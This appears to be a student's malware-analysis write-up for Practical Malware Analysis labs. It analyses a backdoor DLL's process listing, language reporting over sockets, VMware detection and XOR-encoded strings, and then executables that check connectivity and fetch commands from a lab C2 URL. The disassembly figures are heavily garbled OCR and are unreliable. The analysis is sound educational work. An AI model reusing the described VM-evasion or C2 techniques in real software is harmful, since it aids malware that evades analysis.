& Exports < n=) IDA View-A ® Occurrences of: \emd.exe

Mame Address Crdinal

=| InstallRT 000000001000D847 1

- InstallSA 000000001000DECTL 2

=#| InstallSB 000000001000E892 3
0000000010007025 4

ServiceMain 000000001000CF30 5

| StartEXS 0000000010007ECEB 6

=] UninstallRT 000000001000F405 K

=#| UninstallSA 000000001000EADS g8

=| UninstallSB 000000001000F138 9

Eﬂ DIEntryPoint 000000001001516D [main entry]

Figure 16: Exports view

Open the exports list and find the exported function PSLIST. (figure 16).

Navigate here and see there are three subroutines. One of which queries OS version
information (similar as seen in Q9, but this time also sees if dwMajorversion is 5 for more
specific OS footprinting (dwMajorVersions)), and depending on the outcome, will call either
sub 10006518 or sub_1000664C (figure 17).

HEDeOAEaLABETEES i Exported emtry 4. PSLIST
RAAGARGLARATRFS
SRR E
BOO8CAEALERATOLE
EAAGABA1 BRETATS stdca BELTST( ir ink, char *SEe, Bnt)
HESREUEaLBERTETS public PSLIST
I HNEAEA L ARATE 25 PELIST proc rear
MESEeIEALOERTEES
HEDEEAEELBRTELS Stre dword ptr  @ch
MIEGNBABa1ARaTRES
EQREAEELBEGTERS CF 85 BL ES @8 1B+naw dword_188BESSC, 1
REGNUICALeReTRIF £ BF C6 FFOFF call sub_199036C3 Call
BESEeILALOIATEEF
ROACARGLEBRRTREA HS C8 st aax, wax Logical Campacs
MEGeOILELBIeTEIE Fa 20 iz short loc_lB@OTase : Jura if Iero (2F=
|RGACARG L BRNTRE
g
EEOEDIEAlBEETEIE FF 74 234 B0 push [esp+sEr] P Str
PROEGAEALEROTEIC E6 06 DF o8 o call FTrlen : Call
GEOEDISALEIOTEIC
EOEDAEA1BERTELL H5 C8 tast wax, wax ; Loglcal €
BEoseIsalBleTaLl S5 sl =cx
HRORDAEAlEAATALI TS 8S anz short loc_1B@8T8d4E : Jurn *f Not Fero (F
ROEOdEaLBRe T B
BRAEAR1E88ATALE Sa push B ARG RG] AEATREE
BO3EOR1EBITILT EE CC Fd FF FF call sub_lposesin i Call Procedusc| GoRSoEonloea oqE
BEBSOE1EOaTaLT BEEGOE08]8EaTBAE loc_LeeaTesE:
BOASHDT1EBATAIC EB B0 Fwm short loc_ 18267854 i SOLBIBMIISATRIE FF T4 Fa ac push [msp=Str]
BEHBOE1EHI TAAC BOBGGROATAEATEEY EA DI push 2
POPSPRIOLVERTOEY LB F3 FS FFOFF call BUD_ LRG0
ECEEEEECRET e EET
AORBGRGATARATESES 53 o o

MR 3G B M €12 TG
P E

Figure 17: PSLIST exported function paths

Both sub 10006518 and sub_1000664cC utilise CreateToolhelp32Snapshot to take a
snapshot of the specified processes and associated information, and then execute appropriate
commands to query the running processes IDs, names, and the number of threads.
sub_1000664cC also includes the sockEeT (s) to send the output out to (figure 18).
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BSOS RO LEY B P RS de o o wCH, Arkn

WEBAHANABHAGTAE AT OR DA FG T FF las wdi, [shpsvar_1630] ; loae FEfect
BEGEORERIBOAGER. BB U0 L E® FF FF now [ebpsFrodulal, shx
BECGARANIBEAEETA 53 pash bk i} thI2ProcessIl
BEOEDAERIDEIGESE F3 AR rep stosd i Store String
BEEEDNERIDEIEEND B B push z i duklags
MESINRRIEDAGESE [0 70 AN BR a0 call crenteTaalhel piiSnapshas ; ©all
BESGHT SORRESE
DRI AGAEEAY. BE Fd 6 emp
REQBBRRAIBBAREAT RO 45 FC o
BEOEORANIAGIGEEAL T5 33 inz
BEEEDIEBID0IGEML
I —

BREEREE L DG SEDF

B E A L G SEDE

BEECOINELEGDSEDF Lo 18BESGDF

BRRSGIBELEAISEDS IF 68 42 85 14 wov =di, offse: aProcessidircee \rirFrocessIn
e s, : i ArgList

; char aPracessidProce(]
aFrocessidarcce db BCh,anh

e o Lo sEr S |
PRE ORI | PRRGFT
NI LRI

[TV SEREIRS S s ra .
BREEEIAELBBEETRS push st
ROGAGIRELMAAETRE FF 75 AE push [eapis] T
BREOOINELAGDSTAS 18 Ak Ol FF Fo call sub_1BEa3EER : tell Pro
REIOEIAELABAETRS
ECOOIORLEILTRC 53 L4 10 add =22, 129 i A

ARGAETLY 39 10 BC ES BE 18 crp dhaave_tBARESHC, whx ;o
BMEGOERLIRETLY T4 @7 iz shart loc_loeesF i mp iF Zerc (EF
RRECHDARLBSEETLT

Figure 18: Using CreateToolhelp32Snapshot, quering running processes, and
sending to socket

xii. Which API functions could be called by entering sub_10004E79?

A useful way to quickly see what API functions are called by a certain subroutine is through
the Proximity Brower view, this transforms the standard Graph or Text views into a much
more condensed graph highlighting which API functions or subroutines are called (figure 19)

: | T | :
1/ \t/ sub_10804E79 \/ ? /
= 1 _ _ [}
| = - = = = | =
sub_1@8838EE||aLanguageldexX strlen
#

Figure 19: Proximity View of sub_10004E79

Function Description

GetSystemDefaultLanglD Returns language identifier to determine system language
sub_1880838EE Subroutine previously seen to send data via SOCKET
sprintf Sends formatted string output

strlen Gets the length of a string

alLanguageldexX Offset containing: '[Language:] id:0x%x'

Figure 20: Functions called by sub_10004E79

The functions called from sub_10004E79 (figure 20) indicate that the functionality is to
identify the language used on the system, and then pass that information through the
SOCKET (as we’ve seen sub_100038EE before). It might make sense to rename
sub_10004E79 to something like getSystemLanguage. While we’re at it, we might aswell
rename sub_100038EE to something like sendSocket.

xiii. How many Windows API functions does DIIMain call directly, and how many at a
depth of 2?

30



Malware Analysis

Another way to view the API functions called from somewhere, is through View -> Graphs -
> User XRef Chart. Set start and end addresses to p11Main and the Recursion depth to 1 to
see four API functions called (figure 21). At a depth of 2, there are around 32, with some
duplicates.

i I

] B 'WinGraph32 - User defined srefs chart: -

TFile Veew Zoom Move Help e an

Yal aame+ Eosew { Erd oz DiHan
1 Starting direction

1 [ Cros efeence

{ | crom misarcse from
Parsmeten
] Baguemes

[=] Fedkew oy cusrent disection,

Rl dapth 1

gy

4 e e Ezp [ Pemmaic
] ] 2
; [ Fram library fusctiors
[ [7] T Bbruep hunemions
Pl eprions
-+ [] Pemt cararetn

[ Prim recursion doc

I T E T X T

o Cancal Help

Figure 21: API functions called by DIIMain.

Some of the more notable API calls which may provide indication of functionality are: s1leep
winexec gethostbyname inet nota CreateThread WSAStartup inet addr recv send
socket connect LoadLibraryA

xiv. How long will the Sleep API function at 0x10001358 execute for?

At first glance, one might think that the value passed to the sleep is 3E8h (1000), equating to
1 second, however it is a imul call which means the value at eax is getting multiplied by
1000. Looking up, we see that aThisTsCti30 at the offset address is moved into eax and
then the pointer is moved 13 along (similar to what's seen in Q2) (figure 22).

™ P

GEa000N] 3001341

0SeCoeER 18801341 Lloc_18881341:

qRGEEORa 1001341 Al ZA 9@ @1 1@ mony BaX, clff_]hﬁ]i'azﬂ

geeeeddd 1dddlide 83 Ca an add eax, 13 off_lealoeza dd affsat aThisIsCctiie

Saeadad ] pHRl34o 58 push Eax 1 gaal 2]
BOGCEEBR1ePa1I4n FF 15 B4 52 @1 18 call ds:ato [This is cTI]38"
HHSOSHA11ICA 69 CH F8 @1 ad & imul max, 1HHd 7 S1IEREd MOTt I

Sa0aodd ] aadl1tE SO pop BCX

Q2ECEEALBRELIET A push eax i dwMillizeconds

GOS0EERR 1 BdBR1ILE FF 15 1C &2 @1 1@ call ds:Sleop i Indirect Ca Naar P

COaooaNa 1 GR1ICE 33 ED wor ebp, ebp ; Logi ! 4]

caeeedap 10881360 E9 4F FO FF FF Jmp loc_leeelend i Jump

QOSCOEER 1 BRR1360 sub_1eBR1874 endp

SR 1 N1 260

Figure 22: Sleep for 30 seconds

This means that the value of eax when it is pushed is 30. atoi converts the string to an
integer, and it is multiplied by 1000. Therefore, the Sleep API function sleeps for 30 seconds.

xv & xvi. What are the three parameters for the call to socket at 0x10001701?
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The three values pushed to the stack, labeled as protocol, type, and af, and are 6, 1, 2
respectively, are the three parameters used for the call to socket (figure 23).

= =] §

HeReRgRa100816FB

aggeaaaalo0alaFB loc_l1oe816FR; i protocal

A0E0B0BA1806816FE &4 86 push ]

BEEEEeRE10B816FD GA B1 push l : type

HRR0R0RA180816FF BA 82 push 2 ; af

agageoplooalvel FF 15 F8 63 @1 18 call d5:|.'-a-:kf.'t ; Indirect Call Near Procedure

AeRGRGBA1ABA1TAT AR FE may edi, ead, SOCKET _ stdcall socket(int af, int type, int protocol)
Bepanagalaealyas 83 FF FF cmp edi, BFFf extrn socket:dword ; CODE XREF: sub_10891656+A81Tp
popooogalaealrac /o 14 jnz short lo ; sub 108Q208F+3F4Tp ..,

Figure 23: Call to socket at 0x10001701

These depict what type of socket is created. Using Socket Documentation we can determine
that in this case, it is TCP IPV4. At this point, we might aswell rename those operands

(figure 24).
Parameter |Description Value |Meaning loc_188816FB: ; protocol
R : 2 push IPPROTO_TCP
af Address Family specification | 2 IF_INET s SOCK_STREAM b W
type Type of socket 1 SOCK_STREAM push IF_INET ; af
:socke | dire Call
protocol | Protocol used 6 IPPROTO_TCP siocaco B rasves HadrecE i
Figure 24: Definitions and renaming of socket parameters
xvii. Is there VM detection?
™ Occurrences of binary: OxED D 1] IDA View-A =) Hex View-1 | m
Address Function Instruction
Lext: 10001098 sub_10001074 xor  ebp, ebp; Logical Exclusive OR
JLext: 10001181 sub_10001074 test ebp, ebp; Logical Compare
Lext: 10001222 sub_10001074 test ebp, ebp; Logical Compare
Lext:100012BE sub_10001074 test ebp, ebp; Logical Compare
text:1000135F sub_10001074 xor  ebp, ebp; Logical Exclusive OR
Lext: 10001389 sub 10001365 xor  ebp, ebp; Logical Exclusive OR
Lext: 10001472 sub_10001365 test ebp, ebp; Logical Compare
Lext: 10001513 sub_10001365 test ebp, ebp; Logical Compare
text: 100015AF sub_10001365 test ebp, ebp; Logical Compare
Ltext: 10001650 sub_10001365 xor  ebp, ebp; Logical Exclusive OR
Lext: 100030AF sub_10002CCE call strcat; Call Procedure
Aext: 10003DE2 sub_10003DCe lea edi, [ebp+var_813]; Load Effective Address
et 10004326 sub_100042DB lea  edi, [ebp+wvar 913]; Load Effective Address
Lext: 10004815 sub_10004801 lea edi, [ebp+wvar_213]; Load Effective Address
Ltext: 10005305 sub_100052A2 jmp loc_100053F6; Jump
Lext: 10005413 sub_100053F9 lea edi, [ebp+var_413]; Load Effective Address
JLext: 10005424 sub_100053F9 lea  edi, [ebp+var_213]; Load Effective Address
Ltext: 10005898 sub_10005B84 xor ebp, ebp; Logical Exclusive OR
Lext: 10006108 sub_10006196 in eax, dx

Figure 25: Searching for the in instruction using OxED in binary.

The in instruction (opcode 0xED) is used with the string VMXh to determine whether the
malware is running inside VMware. 0xED can be searched (alt+B) and look for the in

instruction (figure 25).
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From here, we can navigate into the function and see what is going on within sub_10006196.

UL DL LU L L
a0eveereleerelCcse
200886808102861C7
JeeeeeeoleeeslcC
aeeeeeealeeeslDl
20eeee80182e610D6
JeeseevelaeeselDB
aseeeeeeleeeslDC

28080000100861E2
ARAGALGAGAT AOOET E &

- A
53
B&
BB
B9
BA
ED
81
@F

68
= 1=]
aa
58

FB
24

58
2e
a2e
56

&8
45

4D
ae
ee
(=]z]

5B
E4

pu=n LA
push ebx

56 mow eax, "VMXh-®

2a mowv ebx, @

ae mow ecx, 1

2e mow edx, "wvX°©
in eax, dx

4D 56 cmp ebx, "vMxXh"® ; Compare Two OPrP—ndf
setz [ebp+var_1C] ; Set Byte if Zero (ZF=1)
. P

Figure 26: in mstructlon within sub_10006196

Directly around the in instruction, we see evidence of the string VMXh (converted from

original hex value) (figure 26), which is potentially indicative of VM detection. If we look at
the other xrefs of sub 10006196 we see three occurrences, each of which contains
aFoundVirtualMa, indicating the install is canceling if a Virtual Machine is found (figure

-

BIDO0RS1BSRESEL E2 F 72 FF FF call sub 10306155 ; Call Proces

BOARGARa1BaAEEAT B4 €O test al, al agical ¢

HEAMGIRG1EGRERRT 74 1E e '\l'IIIl Ling 'IﬁﬂﬁFl'lI'.l'] ] if
FPE ! e
I S L M ] B Y
el i B ] loc 10EBLHBE: 7 Format RS B L B L 08 L
AlcaroRs1aeaF3ER &8 F3 F5 QA 18 |'|I.i|| affset urk_1A8SESFA AEAAER01MEAEEDT FE 2C 71 FF FF ci
ARGRRGARIAEIFACR FR O 40 FF FF call alils_ LRI i Call el PO T EAFRDE &1 20 a8 81 in L]
ARGAROIG1IENERCE CF @4 14 BE AF BSemov [esp+eForrat], oFfset leud‘lurr_udl'u £ riual e Inskall Carce ReaaI01MeaEEEY B C8 2D a
dEedEadeleedEICC EB C1 <L FF FF call sub_12a83552 H 1l Ceure EOQIDY01BAEREE 50 m
BESHESHE1EEIERDL 59 poR =4 ‘EEGRBEEE1BE3ESET FF D& Ci
GECHEcEE18EeDESD2 ER 93 50 FF FF call siby_1B3B5567 all Procedurs EDDRDORO1BGAESEDS FF 74 24 14 P
ARG dEISeIESL Y BB 1B Jna short lo<_lBaREBFd | Junp RN LINSIE FED EY 38 Fe PR OFF £

]

R EERHREIE ] B 2

Figure 27: Found Virtual Machine string found after VMXh string

xviil, xix, & xx. What is at 0x1001D988?

L1

The data starting at 0x1001D988 appears illegible, however, we can convert this to ASCII (by

pressing A), albeit still unreadable (Figure 28).

.data: db 2Dh ;
data:1881D989 db 31h : 1
lata:1881D98A db  3Ah -
data:18@1D988 db  3ah
lata: 1881D98( db 27h :
lata: 18810980 db  75h :
lata: 1881098E db  3ch :
lata:18@1098F dh__2&h B
data:10€].data: 1880988 alULUTA61Yu2ull db ‘-1::',27h, uckul=cBuTd631::",27h, ‘yukl',27h, *¢; 2ul86:101u3: ', 27h, "u'
lata:1es lata: 18810983 db E
jata:l@e]- ot 1910984 adb649u db 27h, "461<640u’
data: 184 ita: 1801098( db 18h
data: 10 @21D0EE ad948u db ‘49~4',27h, "éu’
ey ta; 180109C5 db  14h
data: 1088, 4a1 1 a4su db *;49,8<8u"
data:18€). data: 1800109CE db 15h
data:l@e].d ad7uchgfa db '47uc|dgfa’,e
data:1eelUy98 | QY
data:1881D0999 db IER
lata:10@1D99A db 31h ; 1
lata:1881Dc db  3ah :
lata:1881 db 3ah :
lata:10010990 db  27h -
lata:1081D99E db 7%9h ;
data: 181D db 75h : u
data:1801D5A8 db 26h ; &
data: 186810941 db 21h :
data: 1801094, db 27h :
.data:1e@1D94A3 db 3ch
data: 18210944 db 3Bh ;
data:1801D9AS db 32h :
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Figure 28: Random data at 0x1001D988

We have been provided a python script with the lab 1ab05-01.py which is to be used as an
IDA plugin for a simple script. For 0x50 bytes from the current cursor position, the script
performs an xor of 0x55, and prints out the resulting bytes, likely to decode the text (figure
29).

sea = ScreenEA()
Jfor i in range (0x00,0x50) :
b = Byte(sea+i)
decoded byte = b * 0x55
PatchByte (sea+1,decoded byte)
T

Figure 29: XOR 0x55 script

We are unable to do this within the free version of IDA, however we can loosely do it
manually ourselves by taking the bytes from 0x10010988 and doing XOR 0x55.

Evidently, the conversion to ASCII and manual decoding has messed up something with the
capitalisation, but we can see some plaintext and determine the completed message (figure
30)

Recipe Ol B Input

i felrrtushy ! ==huTd6>1: tyuh! "= 20106 101w3: "u ' 46 <64 9049 4" Bu; 49, S=EudTun |dofa
HEX =
55 Output
Scheme : : rxdoor 1s this backdoor, string decoeded for ractical alware nalysis ab :)1234
Standard [ Null preserving

Figure 30: Manual XOR 0x55

b. analyze the malware found in the file Lab06-01.exe.

i. What is the major code construct found in the only subroutine called by main?
Before we start, it is worth noting that sometimes IDA does not recognise the main
subroutine. We can find this quite quickly by traversing from the start function and finding

sub 401040. This is main as it contains the required parameters (argc and **argv). |
renamed the subroutine to main (figure 1).

34



Malware Analysis

[
421848
[sldsralals bbbl R )
slsiee et lels s R be) R 1) ; Attributes: bp-based frame
QESEERERAeI1848
BEEeDRRRRRAR1048 i imt __cdecl main{int argc, const char **argv, const char **enwvp)
BESOOEEARS2] B4E main proc near
HESHDEHHEEAN] B0
(LR ETE AT R 1] var_d= dword ptr -4
aaeadinpaadaladn arges dword ptr 8
aeadpppaaadalads argv= dword ptr &Ch
seaasnnraedalads envps dword ptr 18k
02a3300008481840
08850aER0e481840 55 push ebp
0eappRERaedeladl 38 EC moy ebp, esp
BEEoEaRRReqaLEd3 51 push acx
BEEEpRRRRRIR1E44 ES BT FF FF FF call sub_4@1880 i Call Procedure
BEER0RRRERIR1B4T 39 45 FC mov [ebpsvar_4], eax
dEeOR0aREE4R184C 23 S0 FC B omp [ebpsvar_4], B ; Compare Two Oparands
HESADBAHEEID1ASE 75 Al jnz short loc_481856 ; lump if Mot Fero [ZF=@)
i ]
H== B
PRIPPREESAIATAS2 33 CA wor AKX, aax ; Logical Exclusive OR }HHHHHHWME]HH&
SaODNEERGRIAIAcS FR A5 jmp short loc_ 481858 ; Jurp HORAEaDDB4R1B5E loc_481056:
?EEEEMMEI&EE BE a1 & op ae mov eax, 1
| ] I
[l =
eadnipaaeadalnsh
Lo el Ron B e ] loc_4a10GE:
2O3DR0aaaadalesE A8 LS mow esp, ebp
SSHPEREaeadalash 50 pop ebp
2appppERealalnsE C3 retn i Return Mear from Procadure
L slelels e eh Rk 1 main endp
CopRERaaeEa1asE

Figure 1: Lab06—01 | main subroutine

Navigating into the first subroutine called in main (sub_401000) (figure 2), we see it

executes an external API call InternetGetConnectedState, which returns a TRUE if the

system has an internet connection, and FALSE otherwise. This is followed by a comparison
against 0 (FALSE) and then a gz (Jump If Zero). This means the jump will be successful if
InternetGetConnectedState returns FALSE (0) (There is no internet connection).

RRRERPRRR A 5
BEEEEC00Ad N1 333
EEEEEEQRRA SN
BEEEECO00GIN1 3
EEEEEEEEOIQI0DD & puzn mop

EECECCaddad il 33 &0 i ehp, esp
EEefCeceeodalaal 51 Pusn BUK

var_i- duard pEr -4

SUA_SATHIR proc near

EEECEERRROGN. ovdd 52 pusi B i daReserved
EEEeeeEenadalans &% 99 puzn 2 i lpdaFlops
ERECECRROSaIEaEs “F 15 B0 e 40 o9 call da: InternaTheTConnactadstare ; [ndiract call mear Prc
PORERCAROMAIAAE B3 A% KX o B
CECECeooRialall =3 7D FC o (& H] [abp+var_£], @ ; Codpara Tao Cperands
EgggeegeeaRlal: 11 14 iz shart loc_cR1828 ; Juwp 1f Ze 4
L u
[T push cffieT asuccasslnTeérme | "Surceis CaraRt Cannactian’n”| s eic el i
D ope R BB call ib_ABTAGE i r ABBBEOORE AR AR lor_daiaze:
I a4 add i, 4 Ak COOOCCCCEEARIEIR CF 3D TH A0 o puih affpat aErrarliMoIntar ; "Errar 1.1: ke InTarnaTii’
. BR BR AR L ean, I BECOREOOEEAETEIR E3 10 99 oA ea tall cub_13135F i Lall Procedure
: g skert Lee 300034 ; Jum A0A035 3 €4 04 wdd Fip, & i
BSEEEEEEEEAE1E1E 11 0B HOT EEK, EEK ogical Exclusive CR
s
REERER S R
EEEEEE S EE Rl BER loc_aB183a;
GEEREE LA EET I o 8 oy wap, ebp
pEEREE S B ] Fop =bp
AFAIIIIBASATNED L5 ruln Nirl Frim
EEEREE s S sub_daleed endp

T3l

Figure 2: Lab06—01 | sub_401000 internet connection test

Therefore, the jump path (short loc 40102B) is taken and the string returned will be ‘Error

1.1: No Internet\n’.

InternetGetConnectedState returns TRUE, then the jump is not successful, and the

returned string is ‘Success: Internet Connection\n’.

Based upon this, it can be determined that the major code construct is a basic If Statement.
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ii. What is the subroutine located at 0x40105F?

Given the proximity to the strings at the offset addresses in each path, it can be assumed that
sub_40105F is printf, a function used to print text with formatting (supported by the \n for
newline in the strings).

IDA didn’t automatically pick this up for me, but with some cross-referencing and looking
into what we would expect as parameters, we can be safe in the assumption.

iii. What is the purpose of this program?

Lab06—01.exe is a simple program to test for internet connection. It utilises API call
InternetGetConnectedState to determine whether there is internet, and prints an advisory
string accordingly.

c. Analyze the malware found in the file Lab06-02.exe.

i & ii. What operation does the first subroutine called by main perform? What is the
subroutine located at 0x40117F?

This is very similar to Lab06—01.exe. We can easily find the main subroutine again (this time
sub_401130), and again we see the first subroutine called is sub_401000. This is very
similar as it calls InternetGetConnectedState and prints the appropriate message (figure
3). We also can verify that 0x40117F is still the printf function, which I’ve renamed.

2 bbbz aadadisl
RRLBODNRILBL DD
CHMLBAEANNI B R
CRABIANNNLBLADD aub_ARIASS pror nesr
BEERISORRRLELERD

AaDISSARRLaL DD war_d= deord pbr -2
B BAREBELILREE

B pbbiapalalanh =5
QUUBSEMIILISIONL B LT
RREBIBANHISE RIS 51

push (350
L row
SEAODDINNNITLROG T 07
B
1

sbp, wez
push B
pust @ i cRRErsrued

SEERDMEALBLERE S puzh i ApdvFlags
EREpDDOARRLAIR0E FF 15 OB 53 4B & call ds:Tnt
£ oy [ebgewvar 4], eax
E cHp abpay 4], ¢
RRUDDDMIILIRLRLL F 14 iz shors loc S0RR2H
[
B1017 GE 48 74 48 9 posh offset phwccessinterne ; ternet |[preaeBEesR1EIR
81010 FE 5E 91 88 09 rall pristt i Proce |[pesoeawssniean o _A91azR:
Bledl B: (4 o4 od esp, 4 . ||ooeapEEmAplelE S5 30 N0 A8 Fush offset aErrorliRoInter |
@124 BE ol 90 88 &2 L= wiw, 1 ||poaamaaRlee EE 44 BL 88 &3 <all print!
H1G10 FE B irm ahart lor driaks | oepassanIngg KL Ca @ add wap, A
AP £ i zer WK, Hax
" rEm
ERARAAR A AT,
el s BT loc_d@iads:
EOBBIEERALILEIG 3B £ v wip, oy
e N B S A5 SL pop -
B BT 5D L reln

FRMHERRRH &1 AN =uh AR1TE endp
uza

Figure 3: Lab06—02 | sub_ 401000 internet connection test & sub_ 40117F (printf)
iii. What does the second subroutine called by main do?

This is something new now; the main function in 1ab06-02.exe is a little more complex
with an added subroutine and another conditional statement (figure 4). We can see that

sub_ 401040 1s reached by the preceding cmp to 0 being successful (3nz jump if not 0), which
therefore means we’re hoping for the returned value from sub 401000 to be not 0 —
indication there IS internet connection.
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;o Amt __cdec] emdrdint cenet char *=eneal|

Fatn pree nese

canst char *Targpe,

ar_A= byte pre -z
war_d- dnord ptr -4
rgre dward pte =
srguve dword por GCh
rrope demrd pe 38k

B =
Frammemanmaniies
EemanenalLLs
bamsancanmalien FE F3 FE FF SR
bameanernotn o ne an o

150 ob BE A5 FB
bumencunean iz oe co
Eemencanmaliss 75 ae

loc_qR1LSE;

[F e
03| RReansaReasaIIEA 21 2 =ar
RASAASEDNADI LY 13 1T dmp

TR TaT AL iet e a4

lec_AR1356:
wen, [ebpesas 8] § Poes

[eeEeEeIaaallsl €3 18 71 40 B3 push  offset afuccessParseds
leneananadallss £4 14 98 @ B3 call  prince £a11 F
[eaIeaIeaILISE 53 4 59 mdat mep, B

eaoernIORIRIISE €A GR [4 2R B2 pus

lecaoernzanig1173 Fr 15 20 £ 42 20 call

Susumnesiim -

DS S 1 FH Loz _da11iB:

BeetCaessL1TE B2 E L= esp,. ebo

BESOtEaE a8 1 T S0 P =hp

Bedateaisedal 1 TE <3 retn Return Mear Ie durel

Figure 4: Lab06—02 | main subroutine

Navigating to sub_401040, we immediately see some key information, which supports the
determination that this occurs if there is an internet connection.

The most stand-out information is the two API calls, Internetopena and
InternetOpenUrlA, which are used to initiate an internet connection and open a URL. We
also see some strings at offset addresses just before these, indicating these are passed to the
API calls (figure 5).

ol

BEeeRaepaadaladn

oagBpaepaad4a1adn

aagasaepaadaladn ; Attributes: bp-based frame

BaeBRaepaadaladn

aagpoatpaadnlaan sub_481848 proc near

aaapgaspagdnlaan

BaSBEaeRaa4a1848 Buffer= byte ptr -218h

aagaoaepasdaladn var_28F= byte ptr -28Fh

|BaepBaepaadalads var_28E= byte ptr -28Eh

Bagpgaepaadaladan var_280= byte ptr -280h

aaapgaspagdanlaan war_28C= byte ptr -28Ch

Bgeepaepaadalada hFile= dword ptr -1&h

paSapaepaad4al1ada hInternet= dword ptr -&Ch

BEaaRaaRaadnladn dwhumberOfBytesRead= dword ptr -8

BEGBRaepRa4a1838 var_4= dword ptr -4

aaaaoaapaadnlaan

Baeasaepaadalada 55 push ebp

oagpogepaad4aladl BE EC mo ebp, esp

aaea0ae0e8401843 81 EC 18 82 88 88 sub esp, 528 ; Imteger Subtraction
BESBREeDaad4nl1ads 6A o8 push a ; dwFlags

IBG&BBGBBEMBJMB GA B8 push a8 ;3 lpszProxyBypass
aaafgaapaadaladD &4 88 push a : lpszProxy

IEBNB%BENBIMF BA B8 push @ ; dwhccessType
2822088088481851 68 F4 72 48 88 push offset szhdgent ; "Internet Explorer 7.5/ /pma”
Baaesaenaad4el1ass FF 15 C4 6@ 48 @8 call ds:InternetOpend ; Indirect Call Near Procedure
BEe80aePaa48185C 89 45 F4 o [ebp+hInternet], eax

292028000840185F 64 88 push a ; dwContext

BEeeBERRBEa481061 64 B8 push =] 3 dwFlags

2ES22E0088481863 A 88 push a ; dwHeadersLength
2EG02a30088481865 64 88 push a8 ;3 lpszHeaders
BEEERePEA40186T 6B C4 7O 48 80 push offset szUrl ;3 “http://www.practicalmalwareanalysis.com™...
222002200840185C 8B 45 F4 mo eax, [ebp+hInternet]

B@ensaenaaddlacF 58 push eax 3 hInternet

DogeDaesaa4elare FF 15 B4 &2 48 &80 call ds:InternetOpenUrla ; Indirect Call Near Procedure
2aa00ae0a8401876 29 45 Fa mow [ebp+hFile], eax

paessaepaadalare 83 7D Fe aa cmp [ebp+hFile], & ; Compare Two Operands
|aceBPeapaad4alayDd 75 1E jnz short loc_4@1890 ; Jump if Not Zero (ZF=8)

Figure 5: Lab06—-02 | Internet connection API calls and strings
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First, szagent containing string “Internet Explorer 7.5/pma’, which is a User-Agent String,
is passed to InternetOpenA.

szUrl contains the string “http://www.practicalmalwareanalysis.com/cc.htm” which is the
URL for InternetOpenUrlAa.

This has another jnz where the jump is not taken if hrile returned from InternetOpenUrla
is 0 (meaning no file was downloaded), where a message is printed “Error 2.2: Fail to
ReadFile\n” and the internet connection is closed.

iv. What type of code construct is used in sub_40140?

If szur1 is found, the program attempts to read 200n (512) bytes of the file (cc.htm) using
the API call InternetReadFile (the jnz unsuccessful path leads to “Error 2.2: Fail to
ReadFile\n” printed and connections closed) (figure 6).

e—————

B
RSN R 1RE0
EDCODD00 HE1NTD Lot &aipsu:

PESOELI1MID B SR bE Lea edx, [ebordaiusbe0rdytesie s ) af
RECOMAMAIRIRG 5] UL T § Iptetaiwberar EpresRead
ARSAMIABINARIGNT GR A2 03 9% 93 pusk I3 ; dfunherCHlybenTaRead
DBCOBIOMIDALIGNE BT BE I3 PO PP IF Las wax, [whpsBuffer] i e Gsdr
PSR 1L S gusk rax i lpausfer
BECOMAMINITING BE A FA Py ek, [ehpehFile]
RISAMAMARIRD 51 pusk  pox i hEile
BOSOMMOTAMMEIRN] [T 15 S 02 42 20 call  dn:in L Indire
[T T T T e ruy [ubzavar_a], wax
HECOMBMBIIINES BX 0 FC G P [ebgrvar_a], & | o
AECAMAMINIRIRAE TE 3T inz shart Lar LBLAES
"CL
BEeRAianldEINES
RERIARIARIAES Loz _4813E5:
MRRAIRMANIAFS OF AF B PR PO Flemmans  mre, [eopelnffar] 5 doe
PRSI B P4 3 i wix, -
fospbamdEInEs 75 30 Jnz short loc 481110 ;
SFE r
CEOMR0ISILONL oF OC 55 1 MD Flescwas  wax, [sbperar 220 |
AmELEEEoILEY 33 Fo 21 wp edi,
MO TR 5 28 T short Joc_deiiis |
("FLI 5
DEIAMBROBANINFD BF B EL 12 FD FFeruvax wan, [sbpevar_200]
BElpIaBlapdallad B3 FE I0 Lap wan, T g
PANOMEMALIET 75 14 nz__shore loc 4110
HwE :
BPPABRBEIILIIEY BF BE ED F3 FC FRomOwsK ok, [ebprwar 2807 | Hove mll
BoeIeMalllD B 3 0 £ =] ek, w
[N 75 A nz short loc_221110
- ¥ Frid
L "FE
irilssn’| 0200¢ED00D4D1L1S BA B 14 [0 °F T paw al, [shpeunr s2C) 00EICOMDILID
PIIBUPCUAINILLE LR B Jup sharl los_sma1ac EETIE CTEEER TR TE) Lluc_se113p:
AEEERAIEILID B 53 70 a8 B8 push  offser afrrorZiFallios
AMMHSANMAIL2] FE 53 M 22 8 coall prinsf i
DNRAICAMATLET B1 T4 B ads anz, 4
L LR B P e ] xur al, wl

Figure 6: Lab06—02 | Reading first 4 bytes of cc.htm

There are then four cmp / ynz blocks which each comparing a single byte from the Buffer
and several variables. These may also be seen as Buffer+1, Buffer+2, etc. This is a notable
code construct in which a character array is filled with data from InternetReadFile and is read
one by one.

These values have been converted (by pressing R) to ASCIIL. Combined these read <! --,
indicative of the start of a comment in HTML. If the value comparisons are successful, then
var_ 20C (likely the whole 512 byes in Buf fer, but just mislabeled by IDA) is read. If at any
point a byte read is incorrect, then an alternative path is taken and the string “Error 2.3: Fail
to get command\n” is printed.

Looking back at main, if this all passes with no issues, the string “Success: Parsed command
is %oc\n” 1s printed and the system does s1eep for 60000 milliseconds (60 seconds) (figure
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7). The command printed (displayed through formatting of sc is variable var 8) is the
returned value from sub_ 401040, the contents of cc.htm.

=

HEapReapEELa]14E

[lel=lalsea st W) loc_481143:

HOERECAREMBL14E EE F3 FE FF FF rall sub_4a184a

feaREeoREE4RL14D BE 45 F8 iy [ebpsvar_8], al

2R06EGEBEGLA1158 8F BE 45 F8 movey  eax, [ebpsvar_B]

tRabicapieial1sd BS L@ Eest AN, el

REOBEROMBELA115E 75 Ba jnz short loc_28115C ;
HaiF -

max, eax i - S0 08401150

short loc_ 481178 ; BRI BN BRaE1 150 loo_4a115C:
pECOESIEAda115C BF BE 40 FA mowvsx  ec¥, [ebpevar_g]
BECGRIMIRRIE116R 51 push BLY
PECOBBEIDAAA11E] GRE 18 71 48 8@ push offaet aSuccessParaadC
BRARAMIBAIA11EE EE 14 @4 22 B8 call printf
BEEOBNSIBNAN116E B C4 Bu add esp, H
AEOBAIBAIRT1IEE GE 6B [L B8 BB push el H ; dudillizeconds
BBG8833B8381173 FF 15 83 &8 4P @8 call ds:
PO POIBRIA11 79 33 @ oo BAY, BIX

